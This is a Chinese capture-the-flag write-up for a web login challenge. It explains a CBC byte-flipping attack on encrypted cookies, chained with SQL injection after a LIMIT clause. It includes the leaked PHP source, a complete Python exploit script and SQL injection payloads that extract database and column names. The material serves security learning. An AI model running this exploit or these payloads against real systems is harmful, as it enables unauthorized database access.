实验吧web-简单的登录题

该wp学习自Pcat大佬在实验吧的wp

题目地址:http://ctf5.shiyanbar.com/web/jiandan/index.php

随便提交一个id,看到后台set了两个cookie

实验吧web-简单的登录题_第1张图片

iv和cipher这两个数据每次刷新都会发生变化,应该是每次刷新的时候,后台重新随机生成了一个iv,并用来加密某个数据,可能是我们提交的id,然后将密文cipher存入cookie中。

iv和cipher在翻译过来就是Initialization Vector(初始化向量)和密文,这两个东西好像也经常在CBC翻转的题目里出现。在看到这两个数据的时候,我觉得这道题应该是一道CBC翻转的题目吧。

然后呢?如果是CBC翻转这种接近于密码的题目,没有源码不知道后台做了什么处理的话,那就有点无从下手的感觉了。这个时候,就是扫描器登场的时候了,我们可以用御剑简单地扫描一下。

实验吧web-简单的登录题_第2张图片

后面两条结果忽略掉,conn明显是数据库连接的php,index.php则是我们访问的php,那么test.php里面会有什么呢?我们访问一下

实验吧web-简单的登录题_第3张图片

如愿以偿地得到了index.php的源码,变得好看一点,大致源码如下



define("SECRET_KEY", '***********');

define("METHOD", "aes-128-cbc");

error_reporting(0);

include('conn.php');

function sqliCheck($str){

    if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){

        return 1;

    } return 0;

}

function get_random_iv(){

    $random_iv='';

    for($i=0;$i<16;$i++){

        $random_iv.=chr(rand(1,255));

}

    return $random_iv;

}

function login($info){

    $iv = get_random_iv();

    $plain = serialize($info);

    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);

    setcookie("iv", base64_encode($iv));

    setcookie("cipher", base64_encode($cipher));

} function show_homepage(){

    global $link;

    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){

        $cipher = base64_decode($_COOKIE['cipher']);

        $iv = base64_decode($_COOKIE["iv"]);

        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){

            $info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize");

            $sql="select * from users limit ".$info['id'].",0";

            $result=mysqli_query($link,$sql);

            if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){

                $rows=mysqli_fetch_array($result);

                echo 'Hello!'.$rows['username'].'';

            } else{

                echo 'Hello!';

}

        }else{

            die("ERROR!");

}

}

}

if(isset($_POST['id'])){

    $id = (string)$_POST['id'];

    if(sqliCheck($id)) die("sql inject detected!");

    $info = array('id'=>$id);

    login($info);

    echo 'Hello!';

}else{

    if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){

show_homepage();

    }else{ echo 'Login Forminput id to loginidLogin';

}

}


分析一下,有这么几点:

1.传递的id中有一些会被吃掉的关键词

2.id的值会被存入一个数组中序列化,然后加密该序列化字符串,并将该cipher base64编码后与base64编码的iv存入cookie

3.如果不传递id,就会从cookie中取出iv和cipher进行解码解密,然后拼接SQL语句进行查询,而这个SQL语句比较奇特,我们传递的数据被拼接在了limit的后面,而在SQL语句中,limit的后面只剩下procedure、into和for update了,而procedure也被吃掉了,看来不是一般的SQL注入了

4.在执行SQL语句前并不会再次吃掉敏感关键词

结合之前的猜测,那么这道题就很明显了,考点是CBC字节翻转攻击+SQL注入攻击

CBC字节翻转攻击:http://www.vuln.cn/6109

具体的思路就是:

1.提交id的时候替换被吃掉的关键词,比如union的其中一个字母

2.从cookie中获取到iv和cipher之后,进行CBC翻转攻击,使得修改之后,后台解密会将密文变成我们所希望得到的样子

3.SQL注入的时候,用;%00代替#这些单行注释符,用join代替,来确定回显位置,将数据select到回显位置上

CBC翻转的时候,尽量少翻转字符,因为越多的翻转可能会导致你需要对cipher或者iv做更多的处理,所以我们只使用union这个被吃掉的关键词就好了,其他的关键词可以绕过

先写一个php脚本,为了方便直观地看到所要翻转的地方的偏移量是多少,借Pcat大佬的例子

实验吧web-简单的登录题_第4张图片

此时的偏移量(offset)为4,也就是说,如果我们要将 第2块第5个字符2 翻转为我们所需要的字符#,由于CBC模式的解密方式是:

该块的明文 = decrypt(该块的密文) ^(异或) 前一块密文

如果是第一块:第一块的明文 = decrypt(第一块的密文) ^ iv

CBC解密分为两段:decrypt和^

所以,我们需要对 第1块第5个字符 做一些修改

由于:

第2块密文第5个字符的明文(C) = 第1块密文第5个字符(A) ^ decrypt(第2块密文第5个字符的密文)(B)

而^有运算为:C = A ^ B,A = C ^ B,0 ^ A = A,而我们已知CBC解密后C(这里为2)和密文中A的值cipher_row[offset(偏移量)]

故:

B = A ^ C

而后台CBC解密所得则为:A ^ B

所以我们控制修改A2 = A ^ C ^ D(我们想要的,这里为#)

即脚本里的cipher_row[offset] =chr(ord(cipher_row[offset]) ^ord("2") ^ord("#"))

这样运算下来,则后台CBC解密得到:A2 ^ B = A ^ C ^ D ^ A ^C ,即D,CBC翻转成功

但是还没有结束,因为我们在翻转第二块的时候,修改了第一块的密文,所以如果用同一个iv去解密第一块密文,是无法反序列化的,因此我们需要对iv进行一些修改。

(如果我们为了翻转第三块,而修改了第二块,那我们又需要为了让第二块解密后反序列化成功修改第一块,最后又要修改iv,处理量一下子就多了起来)

修改iv的时候,我们已知:原iv,用原iv解密后的错误明文,第一块密文,以及正确明文(即a:1:{s:2:\"id\";s:)

而:

错误明文 = 原iv ^ 第一块密文 => 第一块密文 = 错误明文 ^ 原iv

正确明文 = 新iv ^ 第一块密文 => 新iv = 正确明文 ^ 第一块密文

故:

新iv = 原iv ^ 错误明文 ^ 正确明文

即脚本里的iv_new = iv_new +chr(ord(iv_row[x]) ^ord(wrong[x]) ^ord(plaintext[x])),循环16次

原理讲完了,接下来就是脚本了脚本如下


# -*- coding:utf8 -*-

import base64

import requests

import re

import urllib

url ="http://ctf5.shiyanbar.com/web/jiandan/index.php"

payload ="0 2nion select * from ((select 1)a join (select database())b join (select 3)c);"+chr(0)

data = {

'id':payload

}

cookie = requests.post(url,data = data).headers['Set-Cookie']

iv = re.findall(r'iv=(.+),',cookie)[0]

cipher = base64.b64decode(urllib.unquote(re.findall(r'cipher=(.+)',cookie)[0]))

iv_row =list(base64.b64decode(urllib.unquote(iv)))

cipher_row =list(cipher)

offset =6

cipher_row[offset] =chr(ord(cipher_row[offset]) ^ord("2") ^ord("u"))

cipher_new = urllib.quote(base64.b64encode("".join(cipher_row)))

cookies = {

"iv" : iv,

"cipher" : cipher_new

}

mistake = requests.get(url,cookies = cookies).content

wrong = base64.b64decode(re.findall(r'\(\'(.+)\'\)',mistake)[0])

iv_new =''

plaintext ="a:1:{s:2:\"id\";s:"

for xin range(16):

iv_new = iv_new +chr(ord(iv_row[x]) ^ord(wrong[x]) ^ord(plaintext[x]))

iv_new = urllib.quote(base64.b64encode(iv_new))

cookies2 = {

"iv" : iv_new,

"cipher" : cipher_new

}

result = requests.get(url,cookies = cookies2).content

print result


运行得到数据库名

实验吧web-简单的登录题_第5张图片

修改payload和offset的值,最后getflag

最后提一句的是:select * from ??? limit 1 union select ???这种写法在mysql5.7里面已经不能用了,会报错incorrect usage of union and limit,要使用(select * from ??? limit 1) union (select ???)这种写法,官方在5.7文档是这么说的

实验吧web-简单的登录题_第6张图片
实验吧web-简单的登录题_第7张图片

PS:

发现最近这题好像出了点问题,在select列的时候会报Got error 28 from storage engine的错误,就获取不到列名了

不过列名可以通过报错的方式爆出来,payload

"0 2nion select * from (select * from you_want as a join you_want) as c;"+chr(0)

结果:

实验吧web-简单的登录题_第8张图片

the end

作者水平有限 如有错误请指出 Orz

你可能感兴趣的:(实验吧web-简单的登录题)